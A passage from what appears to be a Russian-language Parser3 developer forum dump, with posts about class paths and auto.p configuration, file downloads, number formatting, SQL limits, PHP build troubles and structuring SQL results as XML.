	$.xslt_path[/xsl/poll.xsl]\
	$.request[$form:tables]\
]\
[/code]\
а так:\
[code]\
^poll.show[\
	$.poll_id(1)\
	$.xslt_path[/xsl/poll.xsl]\
	$.request[$form:tables]\
]\
[/code]\
В таком случае выдаваемая ошибка закономерна."
"52123","ПОМОГИТЕ, пжт-та, никак не могу разобраться!!!!\
_________________________________________________\
\
Главный auto.p\
\
$CLASS_PATH[^table::create{path\
../data/classes/\
../../data/classes/\
}]\
\
Конфигурационный auto.p\
@USE\
mysql.p\
dtf.p\
lib.p\
calendar.p\
\
@auto[] \
$connect_string[mysql://root:1@localhost/p3test]\
\
ВСЕ РАБОТАЕТ!!!!!!!\
______________________________\
Из главного убираем $CLASS_PATH\
\
Конфигурационный auto.p\
\
@auto[] \
$CLASS_PATH[^table::create{path\
../data/classes/\
../../data/classes/\
}]\
\
^use[mysql.p]\
^use[dtf.p]\
^use[lib.p]\
^use[calendar.p]\
\
\
Ошибка в calendar.p\
В работе Parser произошла ошибка:\
outside of 'connect' operator\
Ошибку вызвал этот фрагмент:\
Sql\
\
\
Куда вставить \
@USE\
mysql.p\
dtf.p\
lib.p\
calendar.p   ?????,\
\
если, в начало конф.файла, \
то $CLASS_PATH – еще не определен"
"52129","если он там есть, то... нас ждет небольшой облом, заключающийся в том что в корневом auto.p мы _не_ можем красиво использовать @USE.\
\
однако мы можем использовать их так (начальный слеш означает что путь к файлу указан от корня веб пространства):\
[code]@USE\
/data/classes/lib.p\
/data/classes/dtf.p[/code]\
\
ну или можно воспользоваться ^use[], например так:\
\
[code]\
@auto[]\
$CLASS_PATH[^table::create{path\
../data/classes/\
../../data/classes/\
}]\
\
^use[mysql.p]\
^use[dtf.p]\
^use[lib.p]\
^use[calendar.p]\
[/code]\
\
при этом в любом [b]не[/b] корневом auto.p @USE без указания путей нам будет доступен.\
\
в общем не так удобно но и не особо критично.\
\
почему возникает ошибка в этом [url=\"/forum/?id=52123\"]посте[/url] я не знаю, надо разбираться что написано в calendar.p, скорее всего там ожидается что уже создат какой-то объект (Sql?).\
\
ну и если есть набор ^use[...] то @USE не нужны."
"52130","В документации написано:\
\
Ключи хеша параметров: \
file - имя файла на диске\
name - имя файла, которое передать посетителю; \
\
[i]file[/i] работает, а [i]name[/i] не работает.\
\
Просмотрел форум, вот нашел решение:\
\
[code]$response:Content-Disposition[\
$.value[inline]\
$.filename[image.jpg]\
]\
$response:Content-Type[\
$.value[image/jpeg]\
$.name[image.jpg]\
]\
$response:body[^file::load[binary;../wp/image.jpg]][/code]"
"52131","1. Вопрос вот в чем:\
Когда $CLASS_PATH прописан в главном auto.p,\
и в конф. auto.p находится\
@USE\
mysql.p\
dtf.p\
lib.p\
calendar.p\
\
То календарь отлично! работает!\
_________________________________\
Повторяюсь:\
Из главного убираю $CLASS_PATH\
\
Конфигурационный auto.p\
\
@auto[]\
$CLASS_PATH[^table::create{path\
../data/classes/\
../../data/classes/\
}]\
\
^use[mysql.p]\
^use[dtf.p]\
^use[lib.p]\
^use[calendar.p]\
\
\
Ошибка в calendar.p\
В работе Parser произошла ошибка:\
outside of 'connect' operator\
Ошибку вызвал этот фрагмент:\
Sql\
________________________\
Других изменений нет.\
Только, указанные выше. Что происходит?\
=============================================\
2.\
если вставить в конф. auto.p\
@USE\
/data/classes/lib.p\
/data/classes/dtf.p\
\
без $CLASS_PATH  в главном\
дает \
usage failed - no $MAIN:CLASS_PATH were specified"
"52132","[code]@date_diff[t;sDateFrom;dt_to]\
$result[DATEDIFF($t, $sDateFrom, ^if(def $sDateTo){$sDateTo}{^self.today[]})][/code]в объявлении - dt_to, в коде метода - sDateTo"
"52135","calendar.p состоит целиком и полностью\
из ваших кодов с \"Новостной раздел для чайников\",\
я его не изменяла."
"52136","Граждане, ни у кого нету случайно libparser3mysql.so под freebsd 5.4?\
Парсер стандарнтый из раздела скачать под ней работает, а вот при попытке коннектится к БД выдает: \
/usr/libexec/ld-elf.so.1: /usr/local/lib/mysql/libmysqlclient.so: Undefined symbol \"__h_error\"\
[Tue Apr 18 17:13:32 2006] [error] [client 80.250.225.92] Premature end of script headers: /hsphere/local/home/сайт.ru/cgi-bin/parser3.cgi"
"52138","это не отменяет необходимости думать.\
миша вам сказал что и где почитать.\
\
если не хотите, можно с другой стороны зайти:\
вот вы меняете главный конфиг (это нормально и удобно),\
значит у вас есть такое право.\
зачем забивать себе голову, как войти в дом через окно, если есть ключи от двери?"
"52139","какой браузер?\
какая версия parser?"
"52140","попробуйте сами собрать. процедура сборки драйвера тривиальна (никаких либ, ничего не нужно, кроме исходников parser+исходники драйвера)."
"52141","Спасибо, за ответ.\
В локале - нет проблем.\
Мне надо разместить сайт на хосте\
с предустановленным Parser-ом, \
где нет доступа к главному конф.\
Думай не думай, знаний не хватает.\
Что и где почитать - не прозвучало,\
мне, кажется, со мной - \"клинический\" случай."
"52142","1. Вынесите классы куда хотите.\
2. В корневом auto.p в @auto[] пропишите CLASS_PATH с путями к вынесенным классам.\
3. Ниже где хотите делайте ^use[имя_файла_класса.p].\
\
Ничего, кроме @USE не потеряете."
"52143","Есть милая штука под названием [url=\"http://www.beercosoftware.com/perlnet.shtml\"]PerlNet[/url] - на сайт закидывается перловый скрипт (бэкенд), на компьютере - windows-программа (фронтенд). Фронтенд отправляет бэкенду обычные http-запросы.\
\
Минусов два - cgi timeout и неумение работать через ISA Server."
"52144","а mc? ;)"
"52145","вообще-говоря, это ненормально.\
ваш админ не хочет по-простому это решить?\
может вы его недопоняли?\
\
в parser есть возможность изменить путь, откуда читается первый auto.p, см. \
http://www.parser.ru/docs/lang/parserconfmethod.htm\
[code]\
# задание переменной окружения с путем к auto.p\
SetEnv CGI_PARSER_CONFIG /путь/к/файлу/auto.p\
[/code]"
"52146","Оно не умеет работать с приложениями, у которых есть интерфейс. \"Команда-ответ\" - пожалуйста.\
\
Впрочем, встроенный текстовый редактор и редактор crontab там есть."
"52147","Но,\
после этого, появляется ошибка\
в calendar.p (Мишин вариант), \
(outside of 'connect' operator).\
(Этой ошибки нет, если подключать\
классы в гл. конф. Все работает!)\
\
Что, я не могу понять, то -\
Как смена прописывания классов\
влияет на работоспособность одних\
и тех же программ."
"52148","Попробую с этой стороны, спасибо!"
"52149","Хм, завтра попрошу у админа дать шел..\
Хотя вроде обещали собрать весь парсер. =)"
"52150","Я пробовал вот такую конструкцию:\
[code]$response:body[\
$.file[../${image}.jpg]\
$.name[${image}.jpg]\
][/code]\
\
Установлена последняя версия 3.2.1sp2 для Linux\
Вот посмотрите: [url=\"http://walp.ru/wallpapers/parser/\"]http://walp.ru/wallpapers/parser/[/url]\
Во всех одинаково. IE, FF, Opera"
"52151","Здравствуйте всем,\
\
пытаюсь установить парсер3 CGI под апаче 2. Пробовал под вин32 и пол линукс, эффект один и тот же - Internal Error 500 когда пытаюсь запустить сам парсер из папки cgi-bin. Другие скрипты прекрасно работают. В htaccess все прописал как написано."
"52152","[url=\"http://www.parser.ru/forum/?id=48904\"]http://www.parser.ru/forum/?id=48904[/url]\
\
Для кого клал не понимаю. там и он сам и драйвер mysql"
"52153","это сообщение я фтыкал минут \
15, если не больше\
время потерял счет то, что это значит\
весна?"
"52154","Расскажите, как происходит отбор заданного числа записей при работе с MSSQL?\
\
Есть ощущение, что при использовании $.limit достаётся ВСЯ таблица, а затем от неё отрезаются верхние N записей, так как SELECT TOP N работает [i]гораздо[/i] быстрее."
"52155","откройте calendar.p и посмотрите, что там и к чему.\
уверен, всё разъяснится.\
\
вместо того, чтобы три раза открыть calendar.p и посмотреть глазами вы 3 раза написали \"не понимаю\". уверен, радости вам это не принесло.\
\
\
недавно в одной книжке читал:\
[quote]\
многие люди думают, что системные куски пишут пришельцы, и разобраться в них простые смертные не в состоянии в принципе. это не так, большинство системных кусков — обычное хорошее программирование, не более того.\
[/quote]"
"52156","у меня тоже сложилось такое впечатление."
"52159","А где же пример использования этого класса?"
"52160","SQL профайлер не сложнее ворда и ответ можно получить за минуту, т.е. быстрее чем через форум."
"52161","Есть ли готовый конвертер с TeX в изображение для Parser?"
"52164","Полагаю, проще взять готовый конвертер [i]tex -> postscript -> pdf или картинка[/i] и вызывать его через file::exec"
"52165","Вопрос задан без указания версии MS SQL и возможно Миша бы не дал такой совет, зная что у тебя MSDE :)"
"52167","upd: ещё http://www.forkosh.dreamhost.com/source_mimetex.html\
[url=\"http://www.forkosh.dreamhost.com/cgi-bin/mimetex.cgi?\\normalsize%20%20%20%20%20%20%20%20%20\\left(\\large\\begin{array}{GC+23}%20%20%20%20%20%20%20%20%20\\varepsilon_x\\\\\\varepsilon_y\\\\\\varepsilon_z\\\\\\gamma_{xy}\\\\%20%20%20%20%20%20%20%20%20\\gamma_{xz}\\\\\\gamma_{yz}\\end{array}\\right)\\%20{\\Large=}%20%20%20%20%20%20%20%20%20\\%20\\left[\\begin{array}{CC}%20%20%20%20%20%20%20%20%20\\begin{array}\\frac1{E_{\\fs{+1}x}}%20%20%20%20%20%20%20%20%20&-\\frac{\\nu_{xy}}{E_{\\fs{+1}x}}%20%20%20%20%20%20%20%20%20&-\\frac{\\nu_{\\fs{+1}xz}}{E_{\\fs{+1}x}}\\\\%20%20%20%20%20%20%20%20%20-\\frac{\\nu_{yx}}{E_y}&\\frac1{E_{y}}&-\\frac{\\nu_{yz}}{E_y}\\\\%20%20%20%20%20%20%20%20%20-\\frac{\\nu_{\\fs{+1}zx}}{E_{\\fs{+1}z}}&%20%20%20%20%20%20%20%20%20-\\frac{\\nu_{zy}}{E_{\\fs{+1}z}}%20%20%20%20%20%20%20%20%20&\\frac1{E_{\\fs{+1}z}}\\end{array}%20&%20{\\LARGE%200}%20\\\\%20%20%20%20%20%20%20%20%20{\\LARGE%200}%20&%20\\begin{array}\\frac1{G_{xy}}&&\\\\%20%20%20%20%20%20%20%20%20&\\frac1{G_{\\fs{+1}xz}}&\\\\&&\\frac1{G_{yz}}\\end{array}%20%20%20%20%20%20%20%20%20\\end{array}\\right]%20%20%20%20%20%20%20%20%20\\%20\\left(\\large\\begin{array}%20%20%20%20%20%20%20%20%20\\sigma_x\\\\\\sigma_y\\\\\\sigma_z\\\\\\tau_{xy}\\\\\\tau_{xz}\\\\\\tau_{yz}%20%20%20%20%20%20%20%20%20\\end{array}\\right)\"]пример работы на лету[/url]"
"52168","спасибо за подробный bug.html"
"52169","и расскажите тут по шагам, что вам удалось понять."
"52170","можно специализированную ускорялку в ODBC драйвер добавить,\
которая будет включать это для MSSQL.\
у кого есть силы, пусть сделает и пришлёт patch -u.\
\
для oracle то же самое: хоть там и нет offset, но его можно проэмулировать. у кого есть силы, поделюсь очевидной идеей.\
\
-\
насчёт \"достаётся вся\".\
select отправляется в базу на всю, на выходе ODBC выдаёт нам курсор [CRecordset].\
который прокручивает до нужного $.offset\
и из которого читает нужное $.limit(количество записей)\
по сети никакие данные за пределами [offset,offset+limit) не передаются.\
\
другое дело, что я вижу, там bug, и задуманные опции курсора:\
forwardOnly|readOnly\
\
не передаются. в итоге получается тяжелее, чем могло быть.\
ещё вижу, имело смысл включить skipDeletedRecords, это бы помогло пользователям VisualFoxPro (VFP).\
ещё вижу, есть флажок\
[code]\
useMultiRowFetch =          0x0200, // turn on multi-row fetch model\
[/code]\
от которого, возможно, тоже у ODBC теплее будет.\
посмотрю.\
\
-\
насчёт сложности в выполнении запроса.\
обычно $.limit(3) делают в паре с сортировкой.\
при этом, скажем, у MySQL явно написано, что наличие limit помогает ему остановить алгоритм сортировки, если алгоритм видит, что limit штук он уже упорядочил.\
уверен, что и MSSQL вполне может применять подобную оптимизацию и в своём диалекте."
"52171","При кодировании в base64, получаемый текст parser3 разбивает на строки длиною 78 символов. Мне же нужно в одну строку, приходится использовать, такую конструкцию:\
\
[code]@base[p]\
$str[^p.base64[]]\
$result[^str.match[[\\n]][g]{}]\
@main[]\
^base[$originalstr][/code]\
\
Может быть добавить возможность использования хэша отключающего переносы и/или задающего длину строки (не обязательно)."
"52172","SmArt, прям читаете мои мысли, только что хотел тоже самое спросить. Может такая инфа поможет: на сайте библиотеки мехмата мгу , на котором я часто бываю, для TeXа использовали L2P - Convert LaTeX expressions to PNG. только там весь сайт на php"
"52174","Да, в принципе я пока обошелся внешним конвертером: http://www.teacode.com/online/latex/. Спасибо за это хорошим людям из [url=\"http://www.teacode.com/\"]центра новых информационных технологий иркутского  государственного университета[/url]."
"52175","Пожалуйста, поделитесь размышлениями (или, может, быть у кого-то есть готовый пример) как сделать счетчик скачиваний определенного файла. Что бы на странице рядом с фалом было выведено число его скачиваний.\
Заранее благодарю."
"52176","03 июня 2004"
"52178","Вот оно: [code]Second chance exception 0xC0000005 (Access Violation) occurred in \"c:\\apache\\5712~1\\php\\PHP4TS.DLL\" at address 0x100C63E4 by thread 1.\
Thread 2 exited with code -1073741819 (0xC0000005).\
Exited \"c:\\apache\\5712~1\\php\\PHP.EXE\" (process 0x794) with code -1073741819 (0xC0000005) by thread 1.\
[/code]На выходных накатаю в bugs.php.net\
\
Хотя руки чешутся выкинуть php из пакета нафик."
"52179","может помочь в следующих случаях:\
1. есть несколько проектов (виртуальных серверов): одни на php, другие на parser.\
2. есть решение задачи на php, хочется его портировать, но для этого хочется видеть как все работает на php.\
..."
"52180","Погорячился.\
\
Злят деятели с php.net - в bugs.php.net кучи багов, связанных с fopen, readfile, функциями открытия графических файлов - все растут оттуда. Релиз последней версии 4.4.2 был в январе. В bugs.php.net стандартный ответ - \"пофиксено в cvs несколько месяцев назад\". А пересобрать влом? На snaps.php.net собранного под Win32 нет и это никого не трогает.\
\
Я, конечно, понимаю, что им гораздо интереснее заниматься пятой версией...\
\
На выходных слажу к ним в cvs и соберу сам."
"52181","Пошел в Пенель Управления Базами Данных, Пытаюсь подключиться к своему Серверу-хостеру hut1.ru к базе данных, а они все ругаются. Кто-нибудь пробовал соединять Сервер хостера с сервером Локального Компьтера и как это делать.\
\
А, вообще, хочу отлаживать свои скрипты на своем Компьютере(управление Серверными Включениями) а то они у моего хостера не хотят работать, а сам хостер не хочет бавать нормальную консультацию. Он только умеет свои банеры сувать, куда не надо. А так - хостер нормальный..."
"52183","Нафик вообще убогая четвертая версия?"
"52184","PHP5 не совсем обратно совместим с PHP4 и что на большинстве хостингов сейчас стоит PHP4.\
\
Разубедите меня, если я неправ."
"52185","Не совсем обратно совместим -- это так, хотя обратную поддержку частично оставляют.\
Зато масса приемуществ."
"52186","что PHP5 тот, кому он нужен, сможет поставить сам? ;-)"
"52187","извините за Offtopic,\
\
Никто не видел подобия Мишиного test.html для PHP и Perl, по работе которого было бы легко сразу выяснить корректность установки?"
"52189","есть такая функция называется phpinfo();\
можно посмотреть что и как установлено, но чтобы тестировать весь php, не думаю что такая есть."
"52190","насколько я понимаю, на правильных хостингах стоят обе версии.\
\
и через .htaccess например настраиваются какой будет использоваться"
"52191","но про phpinfo(), несмотря на общую \"темноту\" в плане всего связанного с php, знаю :-)"
"52192","останется PHP4, а не PHP5?"
"52196","Не любят меня пользовательские классы... ну никак не получается наладить с ними язык:\
\
есть папка test  в ней находятся index.html с кодом:\
[code]\
@USE\
/classes/test.p\
\
@greeting[]\
Тест\
\
@left[]\
Тест\
\
@infa[]\
$test[^test::load[]]\
^test.a1[]\
 [/code]\
в папке classes находится test.p\
[code]\
@CLASS \
test \
\
@a1[]\
Тест \
[/code]\
\
Ошибка: \
/home/ba1707/www/classes/test.p\
read failed: No such file or directory (2), actual filename '/home/ba1707/www/classes/test.p'\
\
Подскажите пожалуйста почему не находится файл с классом...\
уже и в один каталог их вставлял всё равно не помагает!"
"52197","www, к примеру на main?"
"52198","Находите там путь к вашему www  и меняете :)"
"52199","Пример использования класса:\
\
[code]^use[/cntfilednld.p]\
$cnt[^counterFileDownload::init[/path/to/file.ext]]\
^cnt.a[Скачать файл] (скачано $cnt.count раз.)[/code]\
\
Файл cntfilednld.p:\
\
[code]@CLASS\
counterFileDownload\
\
@init[filepath]\
$self.filepath[$filepath]\
$filepathCounter[${filepath}.count]\
\
@a[linkDescription]\
^if(def $form:downloadfile){\
	$response:refresh[ \
		$.value(0) \
		$.url[$filepath] \
	]\
	$response:body[]\
	^_countIncrement[]\
}{\
	<a href=\"./?downloadfile=$filepath\">$linkDescription</a>\
}\
\
@GET_count[]\
^try{\
	$fileCounter[^file::load[text;$filepathCounter]]\
	$result(^eval($fileCounter.text))\
}{\
	$exception.handled(1)\
	$result(0)\
}\
\
@_countIncrement[]\
^file:lock[${file_name}.lock]{\
	$newCount[^eval($count+1)]\
	^newCount.save[$filepathCounter]\
}[/code]"
"52200","Как отформатированно вывести число\
9813534887.0\
в виде\
9 813 534 887"
"52201","вдруг там мегабайт, потом редко какой редактор нормально откроет.\
если вам нужно, вы знаете, как обойти.\
подавляющему большинству не нужно.\
ненужным опциям — бой."
"52202","А Они Не Лезут В Дисковод,\
На Работе Лезут В Дисковод,\
А Дома Не Лезут В Зисковод,\
Лезут Только В Видеомагнитофон,\
Ещё Лезут В Пылесос,\
А Нужно в Дисковод.\
\
бавать сувать Компьютер."
"52204","можно заглянуть в примеры, в lib.p был пример разбивки числа, если мне не изменяет память."
"52206","Пробовал что-то типа\
9813534887.0\
[code]\
$val($table.value)\
$val(^val.double[])\
^number_format[$val;&nbsp^;;;]\
[/code]\
но с числами больше 2 млрд работает некорректно\
в доке интересно сказано что точность класса double зависит от платформы"
"52207","замените в методе number_format\
\
[code]$numberLeftPart[^eval(^math:abs($numberParts.piece))[%d]]\
[/code]\
на\
\
[code]$numberLeftPart[^eval(^math:abs($numberParts.piece))[%.0f]]\
[/code]\
и все заработает с числами больше 2 млрд.\
\
P.S. в lib.p поправлю это позже"
"52209","Извините за off, но очень хочется выругаться всласть.\
\
Ваш покорный захотел включить в \"Швейцарский ножик\" починенный PHP4 и полез на форум phpclub.ru за советом. \
\
На наивный вопрос, почему на офсайте php лежит версия с неисправленным багом получил гениальный ответ \"Из-за каждого исправленного бага выпускать новые релизы - это слишком\" и был послан взять nightly CVS build. Сайт snaps.php.net валялся. Послали на альтернативный сайт http://php.emini.dk/snaps/win32/ Взятый оттуда последний билд упал ровно на том же месте.\
\
Ваш покорный полез на CVS. Ясен пень, в пакет никто не положил bison & co. - пришлось дополнять ручками. DSP-файл для одного из модулей был битый. При компиляции полез ворох жалоб на ошибки в коде и я послал всё нафик.\
\
\"Ну вас в..\", подумал я и полез за PHP5. Но сервак php.net посчитал, что сексу я поимел недостаточно и вместо страницы download я увидел одинокое \"Call to undefined function...\" В итоге выяснилось, что валяется ru.php.net. Вручную подредактировал URI и скачал с какого-то из европейских зеркал.\
\
В общем, в \"Ножике\" будет PHP5.1  Любителям же PHP советую чутко следить за направлением ветра - когда появится PHP6, шустренько на него перепрыгивайте. Разработчикам, кажется, неинтересно заниматься поддержкой предыдущей ветки и они на неё кладут. Не думаю, что тенденция изменится."
"52210","Похоже, что в архиве\
parser3_1_6_redhat73_cgi_xml.tar.gz (Parser/3.1.6sp2 (compiled on i686-pc-linux-gnu)\
лежит парсер не поддерживающий xml\
\
_test.html выдает\
Работа с XML\
\
Создание объекта типа xdoc:\
Парсер-то надо ставить с поддержкой XML... Или не подключены XML библиотеки... Это вам не хухры-мухры... \
\
И при вызове на на другий странице в логи пишет\
'xdoc' class is undefined [parser.runtime]"
"52212","Может кому интересно будет.\
попробовал поставить parser3.cgi на hosting.rbc.ru не получилось.\
а вот на hosting.zenon.net установка прошла нормально!\
написал этот пост только из-за того в списке хостингов нет поседнего, хотя кажется он широко распространён."
"52214","Большой сайт с высокой посещаемостью, parser висит модулем апача.\
Необходимо дать посетителю возможность подстройки некоторых параметров под себя. Их может быть до десятка на странице.\
Применяется xslt.\
\
Первый путь - статические шабоны, кэшируемые модулем, изменение параметров приводит к изменению XML для каждого посетителя - большая нагрузка на немного тормозную базу. \
Можно кэшировать xml кусками, по условиям выборки, но необходимо отслеживать валидность каждого куска при изменениях.\
\
Второй путь - статические + динамические шаблоны - \
из статики:\
[code]\
<xsl:import href=\"parser://news_user_params/\">\
[/code]\
из динамики:\
[code]\
@news_user_param[test]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
...\
<xsl:template match=\"news[position() lt; $cookie:news_on_page]\">\
...\
}]\
[/code]\
XML один на всех, большой\
\
Что более в духе парсера?"
"52215","удалённый файл в UTF-16. код\
\
[code]$f[^file::load[binary;файл;$.timeout(300) $.charset[utf-8]]]\
$f.text[/code]\
\
выдаёт только первые 2 символа файла. причём как есть (грубо говоря, как они видны по f4 в far'е)\
\
[code]$f[^file::load[binary;файл;$.timeout(300) $.charset[utf-18]]]\
$f.text[/code]\
\
- Unhandled Exception\
\
на php всё получается:\
foreach (file(\"файл\") as $str)\
{\
  echo iconv(\"UTF-16\",\"WINDOWS-1251\", $str).\"\\n\";\
}"
"52216",".htaccess делаю следующего содержания:\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html phtml \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
и все равно почему-то не пашет."
"52221","Проверьте [b]/home/ba1707/www/classes/test.p[/b]..."
"52225","Добрый день.\
\
[b]Дано:[/b]\
БД по недвижимости с такими (примерно) таблицами:\
\
Таблица \"Помещения\" - поля:\
ID, ID_здания, площадь, цена\
\
Таблица \"Здания\" - поля:\
ID, ID_станции_метро, тип_здания\
\
Таблица \"Метро\" - поля:\
ID, ID_района, название\
\
Таблица \"Районы\" - поля:\
ID, название\
\
[b]Задача:[/b]\
Извлечь из этих таблиц данные о помещениях, соответствующих запросу, и положить их в XML примерно такого вида:\
\
<РЕЗУЛЬТАТЫ>\
<МЕТРО name=\"Академическая\">\
 <здание n=\"1\">\
  <помещение></помещение>\
  <помещение></помещение>\
  <помещение></помещение>\
 </здание>\
 <здание n=\"2\">\
  <помещение></помещение>\
  <помещение></помещение>\
 </здание>\
</МЕТРО>\
<МЕТРО name=\"Бабушкинская\">\
 <здание n=\"3\">\
  <помещение></помещение>\
  <помещение></помещение>\
  <помещение></помещение>\
 </здание>\
 <здание n=\"4\">\
  <помещение></помещение>\
  <помещение></помещение>\
 </здание>\
</МЕТРО>\
</РЕЗУЛЬТАТЫ>\
\
Запрос, который отбирает нужные помещения, задействует все таблицы БД (условия отбора касаются и районов, и метро, и зданий, и помещений).\
На сегодняшний день задача решается без использования XML. Просто всё выбирается в большую таблицу с такими полями:\
ID, площадь, цена, тип_здания, название метро.\
Вся эта таблица кое-как выводится.\
\
[b]Какие возникли вопросы:[/b]\
В примере с форумом есть возможность начать \"сверху\" - выбрать корневые сообщения и плясать от них. Дальше можно выбирать все сообщения данного родителя и т.д. Я же этой возможности не имею по двум причинам:\
1) Мне не нужны все станции метро в данном районе. Нужны только те, к которым относятся помещения с заданной площадью и ценой.\
2) Мне не нужны все помещения в данном здании и т.д.\
\
Я могу доставать всю нужную информацию одним SQL-запросом с многочисленными join'ами (что сейчас и происходит). Что только мне потом делать с полученной таблицей?\
Доставать из неё все уникальные станции метро, потом пробегать по полученной таблице и доставать здания для каждой станции, потом для каждого здания его помещения? А как в таком случае лучше доставать уникальные значения полей?\
\
Что подразумевается в документации под этими словами:\
$.distinct[tables]\
 создать хеш из таблиц, содержащих строки с ключом. \
\
Может быть это именно то что мне надо?\
\
Что быстрее - выбирать из готовой таблицы с результатами поиска средствами Parser'а или дать ещё один SQL-запрос?\
\
Может быть я вообще копаю не в том направлении? Подскажите, пожалуйста, как мне лучше решить мою задачу."
"52226","конечно... я его не раз туда заново закачивал!\
вот только меня смущает, что сайт находится на поддомене и путь вроде не должен начинаться с www, но даже если положить класс в корень главного домена происходит та же ошибка!"
"52228","[quote]В примере с форумом есть возможность начать \"сверху\" - выбрать корневые сообщения и плясать от них. [/quote]\
\
у вас тоже есть корневой уровень: район\
\
[quote]Я же этой возможности не имею по двум причинам:\
1) Мне не нужны все станции метро в данном районе. Нужны только те, к которым относятся помещения с заданной площадью и ценой.[/quote]\
\
ну так включите эти условия в sql запрос, т.е. у вас достанутся только те станции метро рядом с которыми есть то что ищут. соответственно они и выведутся.\
\
[quote]2) Мне не нужны все помещения в данном здании и т.д.[/quote]\
\
аналогично. sql-ем (с join) вы отбираете нужные данные. затем парсером структурируете их и выводите в виде дерева.\
\
[quote]Я могу доставать всю нужную информацию одним SQL-запросом с многочисленными join'ами (что сейчас и происходит). Что только мне потом делать с полученной таблицей?[/quote]\
\
я вижу всего 3 join, это совсем не много, т.к. они достаточно простые и при наличии правильных индексов должны работать быстро. в принципе если в условиях отбора записей не может быть такого: \"я хочу список ищеющегося в наличии что расположено рядом со станциями метро X, Y, Z и имеет цену от XX до YY\" то можно один запрос с 3 join поменять на 3 запроса без join.\
\
[quote]Что только мне потом делать с полученной таблицей?\
Доставать из неё все уникальные станции метро, потом пробегать по полученной таблице и доставать здания для каждой станции, потом для каждого здания его помещения? А как в таком случае лучше доставать уникальные значения полей?[/quote]\
\
если делаете первый запрос только по таблице помещений, то в принципе можете второй запрос сделать с 2 join и достать все остальное (where ... Здания.ID IN (^результат1запроса.menu{$результат1запроса.ID_здания}[,]) ...)\
\
[quote]Что подразумевается в документации под этими словами:\
$.distinct[tables]\
создать хеш из таблиц, содержащих строки с ключом.[/quote]\
\
там где вы читали про форум это объясняется примером кода. не дочитали? :)\
\
[quote]Может быть это именно то что мне надо?[/quote]\
\
именно\
\
[quote]Что быстрее - выбирать из готовой таблицы с результатами поиска средствами Parser'а или дать ещё один SQL-запрос?[/quote]\
\
не понял что вы подразумеваете под готовой таблицей.\
обычно правильнее всего доставать из SQL как можно меньше данных. но на вопрос о том \"что быстрее\" может ответить только тестирование.\
\
P.S. направление правильное"
"52229","Нужно ли мне стремиться к получению подобной монструозной конструкции (см. ниже) для её дальнейшего преобразования в XML, или же лучше не собирать всё в \"хеш хешей хешей...\", а действовать поэтапно:\
1) Сделать хеш с уникальными ID_метро и их названиями\
2) Сделать хеш с уникальными ID_зданий и их свойствами\
3) Сделать хеш таблиц по ID_метро\
4) Перебрать полученный хеш таблиц, делая для каждой из них хеш таблиц по ID_зданий\
и т.д.?\
\
\
\
[code]$results[\
        $.1(ID_метро)[\
                $.name[Академическая]\
                $.bildings[\
                        $.87(ID_здания)[\
                                $.address[Вавилова ул.]\
                                $.rooms[\
                                        $.1784(ID_помещения)[\
                                                $.price[450]\
                                                $.square[55]\
                                        ]\
                                        $.1785(ID_помещения)[\
                                                $.price[580]\
                                                $.square[35]\
                                        ]                                \
                                ]\
                        ]\
                        $.92(ID_здания)[\
                                $.address[Ферсмана ул.]\
                                $.rooms[\
                                        $.1422(ID_помещения)[\
                                                $.price[420]\
                                                $.square[110]\
                                        ]\
                                        $.1224(ID_помещения)[\
                                                $.price[580]\
                                                $.square[350]\
                                        ]                                \
                                ]\
                        ]                \
                ]\
        ]\
        $.2(ID_метро)[\
                $.name[Профсоюзная]\
                $.bildings[\
                        $.34(ID_здания)[\
                                $.address[Профсоюзная ул.]\
                                $.rooms[\
                                        $.1138(ID_помещения)[\
                                                $.price[450]\
                                                $.square[55]\
                                        ]\
                                        $.8583(ID_помещения)[\
                                                $.price[580]\
                                                $.square[35]\
                                        ]                                \
                                ]\
                        ]\
                        $.21(ID_здания)[\
                                $.address[Архитектора Власова ул.]\
                                $.rooms[\
                                        $.4887(ID_помещения)[\
                                                $.price[420]\
                                                $.square[110]\
                                        ]\
                                        $.4585(ID_помещения)[\
                                                $.price[580]\
                                                $.square[350]\
                                        ]                                \
                                ]\
                        ]                \
                ]\
        ]\
][/code]"
"52230","- сделайте 1 запрос которым достаньте все необходимое\
- сделайте на основании результатов запроса несколько hash of table\
- выведете все, при этом очевидно что выводить станцию метро и помещение нужно по разному, пусть это делают разные методы. потом будет проще. у вас получатся просто вложенные menu."
"52231","чтобы в вашем следующем сообщении не было слова \"вроде\".\
и Parser, и нам нужна ясность."
"52232","[quote]я вижу всего 3 join, это совсем не много, т.к. они достаточно простые и при наличии правильных индексов должны работать быстро.[/quote] \
\
На самом деле там всё сложнее чем я написал.\
\
[quote]если в условиях отбора записей не может быть такого: \"я хочу список ищеющегося в наличии что расположено рядом со станциями метро X, Y, Z и имеет цену от XX до YY\" то можно один запрос с 3 join поменять на 3 запроса без join.[/quote]\
\
Там будут именно такие густые запросы, так что без join'а похоже не обойтись.\
\
[quote]там где вы читали про форум это объясняется примером кода. не дочитали? :)[/quote]\
\
Не дочитал, каюсь...\
\
[quote]не понял что вы подразумеваете под готовой таблицей.\
обычно правильнее всего доставать из SQL как можно меньше данных. но на вопрос о том \"что быстрее\" может ответить только тестирование.[/quote]\
\
Под \"готовой таблицей\" я подразумеваю результат SQL-запроса.\
Уточню:\
Можно выбирать (накладывать ограничения) из трёх таблиц (помещения около станций X, Y, Z площадью A и ценой от B до C), а поля брать все только из таблицы \"помещения\". Потом брать уникальные ID зданий и отдельным запросом снимать информацию о них. Потом то же с метро. Получим в итоге 3 таблицы.\
\
Второй вариант - сразу забрать одну таблицу с избыточной информацией. В таком случае название станции метро будет присутствовать в этой таблице столько раз, сколько помещений около неё нашлось. То же и со зданиями.\
\
Не спрашиваю \"что лучше\" - скажите, пожалуйста, что хуже :)"
"52233","[quote]у вас получатся просто вложенные menu.[/quote]\
\
menu? не foreach?\
Или я чего-то недопонял?"
"52234","обычный файл — пока никак:\
считать, положить на диск, и перекодировать любым внешним скриптом (на perl в несколько строчек, например).\
\
XML файл — можно:\
считать, положить на диск, потом загрузить обычным xdoc::load, думаю, справится.\
\
-\
в любом случае считывать в binary.\
-\
в вашем коде ошибка: в binary режиме перекодирование никогда не происходит. так что там бессмысленно даже пытаться выставлять кодировку, всё равно она не используется.\
